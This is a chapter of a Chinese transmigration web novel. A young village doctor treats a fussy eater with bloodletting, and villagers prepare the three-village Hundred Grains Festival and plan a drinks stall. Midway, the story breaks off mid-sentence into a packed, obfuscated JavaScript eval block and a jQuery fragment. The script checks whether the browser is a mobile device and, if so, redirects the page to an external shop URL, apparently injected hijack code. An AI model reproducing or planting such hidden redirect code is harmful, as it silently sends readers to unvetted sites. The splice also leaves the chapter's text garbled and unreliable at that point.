诊堂内。
云开微微低垂眉眼,冷白修长的手指拈着一根三棱针,声音淡淡的:“食欲不振、挑食厌食,需点刺四缝穴放血,再刺板门穴、曲池穴,可泻热祛风、健脾和胃、增进食欲。”
杨婉然吓得脸红脖子粗,如同过年时被按住的年猪,嗓子都劈了:“啊——!”她不停挣扎着,却被一名高挑的女子轻轻松松地按住了。
高挑女子连呼吸都没乱,将杨婉然按回去后,甚至抽空抬眼看了眼门口的明凌和项希音。
云开的手很稳,针尖没有滞涩地刺入杨婉然的皮肤。三棱针分别刺入食指、中指、无名指、小指的四缝穴,出针后,从指根开始向上推挤,放出血液。
杨婉然痛得大声哭叫着,毫无形象,满脸涕泪横流,无论如何都挣不脱高挑女子的钳制。
云开面不改色,接着刺入手掌大鱼际的板门穴、肘弯处曲池穴。
就在这鸡飞狗跳、哭声震天的当口,项希音目瞪口呆,问道:“云哥,麦青老师,这是怎么了?”
云开没有回答,他看诊时向来专注。
留针片刻,云开起针,道:“好了。”
高挑女子松了手,杨婉然连滚带爬拉开距离,捂着脸跑出了药庐。
药庐里安静了下来。
云开望向明凌,面庞微微柔和了下来,启唇问道:“你回来了,玩得开心吗?”
明凌:“嗯,开心。刚刚是怎么了?”
被唤作“麦青老师”的高挑女子道:“我来时,正巧见到杨婉然在这看诊,说是食欲不振、挑食厌食。云小大夫便唤我帮忙,按住她,以免她挣扎刺偏穴位。”
项希音一脸震惊:“……她怎么敢的?”
项希音回忆起一件事。云开的师父黎大夫,是村里出了名的和善,什么都好说话,只有一点,孩子们口口相传:“绝对、绝对、绝对不能在黎大夫面前提起挑食厌食。”那是几年前,村里岳家有个孩子挑食,黎大夫便给孩子挑四缝穴,挤血的时候,哭叫声响彻桃芳村,此事件吓坏了众多小朋友,之后桃芳村所有的孩子再也不敢挑食了。
听项希音讲完以上事件后,明凌也沉默了一会儿,在反思自己中午为什么要说不爱吃鱼。
明凌沉默间,便听到黄麦青笑道:“你就是翠花吧,村里人和我提过一嘴了。我是黄麦青。”
明凌点头:“麦青你好,我是翠花。”
寒暄完毕,黄麦青道:“被杨婉然一打岔,我险些忘了正事。我爷爷唤我来,同云小大夫商议百谷节之事。”黄麦青的爷爷就是村长黄稻成。
听到“百谷节”三字,项希音双眼放光,兴奋地蹦起来:“啊!对哦!马上要到百谷节了!”
黄麦青摸了摸项希音的脑袋,接着道:“三日后便是百谷节了,今年轮到我们村主办。往常这时候,黎大夫都会挑一天义诊。如今黎大夫不在村里……云小大夫可有什么打算?”
云开应道:“家师旧例,开理当代劳。”
“多谢,还有一桩事,”黄麦青现任巡逻队队长,十分体贴自己的队员们,“百谷节,巡逻队要在外走上许久,云小大夫能否和往常一般,熬些伏茶给我们解渴消暑?”
云开颔首,温和道:“天热了,我多备些,余下的便赠给村里人和过往行人喝吧。”
黄麦青听了,眉眼一松,抱拳说道:“行,我先替我爷爷和巡逻队的各位谢过云小大夫了。”说完没多逗留,和几人告辞后便出了药庐。
“终于到百谷节了!我最喜欢百谷节啦!”项希音笑着。
百谷节是什么节日?明凌顺势问道:“嗯,为什么最喜欢百谷节?”
项希音兴奋地说:“每年都要举办百谷节,连续办上三天,敲锣打鼓的,可热闹啦!这可是我们三个村的大事!而且这三天都不用去村学!”
明凌:重点是三天都不用上学吗?项希音小同学。
-
转眼又过了一天。
明凌穿越的第四天,上午。
明凌和云开正在诊堂下棋。
杨婉然着一身娇嫩的粉色衣裙,莲步轻移、仪态万方地来了,手上拿着一个食盒。
“云公子,这是我亲手做的糕点,”杨婉然盈盈一拜,“婉然身体舒缓了很多,多谢云公子昨日的尽心照顾。”
云开不接,拒绝道:“医者本分,杨姑娘不必多礼。”
“云公子收着吧,就当作……婉然的一片心意。”杨婉然目中满是柔情,羞涩地低头。
云开抬头,露出那张如神似仙的脸庞,像山顶不可沾染的明净冰雪,语气淡淡:“杨姑娘慎言。”
“云公子不要误会,”杨婉然双目含泪,委屈地看向云开,“婉然没有别的意思,只是家父有旧疾,小女子又体弱,日后少不得叨扰,才想着和云公子打好交道。”
“无功不受禄,杨姑娘若无他事,便请回吧,”云开情绪平和,目视棋盘,轻轻落下一子,“恕云某忙碌,不便送客了。”
明凌专心致志地捧着茶杯喝茶,装作什么都没听到、什么都不知道的样子,她可不想掺和进来。
杨婉然咬牙,似乎是心里不甘,却又不想惹云开厌烦,只能强装温柔礼貌地告辞。
杨婉然离开后,明凌才放下茶杯,不慌不忙地落下一子。
明凌想:杨婉然似乎特别在意云开……为什么?
-
“哈哈哈哈,翠花,嘿嘿,杨姑娘是不是去找云小大夫了?嘿嘿……”王秋桂咧嘴笑着,打听八卦。
“是,”明凌老实答道,“大娘是怎么知道的?”
王秋桂并不意外,反而是一副“我就知道”的得意模样,说:“云小大夫长得俊,招姑娘惦记也不稀奇。从前也总有许多年轻姑娘有事没事往药庐跑,有几个还会装病呢,次数多了,被黎大夫严词拒绝了,说她们没病还占着地方,耽误正经病人看诊。”
明凌:“……确实。”
所以杨婉然当真只是被云开的脸吸引了?
明凌脑海里浮现出云开那张脸,高华清逸、出尘绝俗,其风姿毋庸置疑。
同云开吃过午饭后,明凌受到项希音的邀请,去她家帮王大娘拿主意,后天百谷节该卖些什么。
她本想向王大娘打听些百谷节的事,但又怕这是新世界人尽皆知的节日,若直接问出口,反倒突兀。明凌正斟酌着如何开口才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838879|211574||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不显得奇怪。
没想到,王大娘主动开口了。
“你刚来村里,怕是不晓得百谷节吧?百谷节是黎大夫想出来的名头,外地可没有。”王秋桂绣着手帕说。
从王秋桂口中,明凌了解到:百谷节其实不是端午、中秋那类的传统节日,而是桃芳村、榕翠村、碧柳村三个村在黎大夫的指导下自定的新“节日”,像是一个庙会和集市的合体,促进交易,兼有娱乐和社交功能。主办村及村口周边道路摆满摊位,买卖、交友、相亲、祈福、娱乐、信息流通等,活动丰富,热闹非凡,甚至连附近城镇的居民们都会被吸引过来凑热闹。
王秋桂接着道:“黎大夫说这叫……呃,‘互通有无’,各家各户多了进项,手头活泛些。”
项希音眼睛亮晶晶,道:“黎大夫无所不能!有学问,会治病,还教我们武艺防身、强身健体。”
“这丫头,提起黎大夫就收不住嘴,”王秋桂笑着瞧了项希音一眼,“不过,黎大夫确实是个能人,要不是他硬把学堂办起来,在三个村里挨家挨户劝大家去村学,如今我们这些人,怕是都不识字。你别看现在学堂里好几个文先生、武先生,起初就黎大夫一人,又教文又教武。后来跟着他学的孩子们长大了,有几个学得好的便留在学堂里轮值,黎大夫这才得闲歇一歇。”
“我娘家在榕翠村,嫁人前也来桃芳村上过几回蒙学,识了不少字。来的次数多了,认识了我家老项。”王秋桂低头看着手里正绣着的帕子,略有些感慨:“你看,我识字,能绣字,才能接到镇里绣庄的活计,工钱也比寻常绣活高不少,都是托黎大夫的福。”
“可不是嘛!”项希音最佩服黎大夫,托着腮夸道:“黎大夫什么都会,是全桃芳村、不,是全天下最了不起的人,我以后也要成为黎大夫那样厉害的大人!”
王秋桂笑着摸了摸女儿的脑袋:“嗯!”
明凌在心里过了一遍这几天的见闻,默默总结:云开的师父黎大夫,即通医术,又懂武功,估计武艺高超,算是因材施教,根据不同村民的特点,将自创的剑法化用为简单的棍法、枪法等,还办学堂,有教无类,附近的榕翠村、碧柳村的村民,不论什么年纪,都能到桃芳村里上村学。以及,提出百谷节这种“节日”,增加当地村民收入,互通有无……
“翠花,”王秋桂乐呵呵,放下手里的绣活,“你年轻人,脑子转得快,你帮大娘琢磨琢磨,百谷节卖些什么好?”
明凌坐在小马扎上,问:“大娘原先卖的什么?收益如何?”
“卖自己绣的手帕、纳的布鞋,够补贴家用。不过,我想再添些东西卖卖。”
明凌问:“那其他人呢?你们可曾留意过哪些摊子光顾的人多?”
项希音脑袋瓜子一转,回答道:“吃食摊!刘婶炸糕、张叔糖画……排队的就没断过!”
明凌偏头思考了下:“那不如这样,你在吃食摊附近,摆个饮子摊?卖卤梅水、绿豆水、果子饮一类的,吃多了难免口渴。不过,最好把摊子摆得离免费伏茶那儿远点,免得影响生意。”
王秋桂连连点头,一拍大腿,说:“好啊!我这就去准备,你帮大娘试试看味道如何?”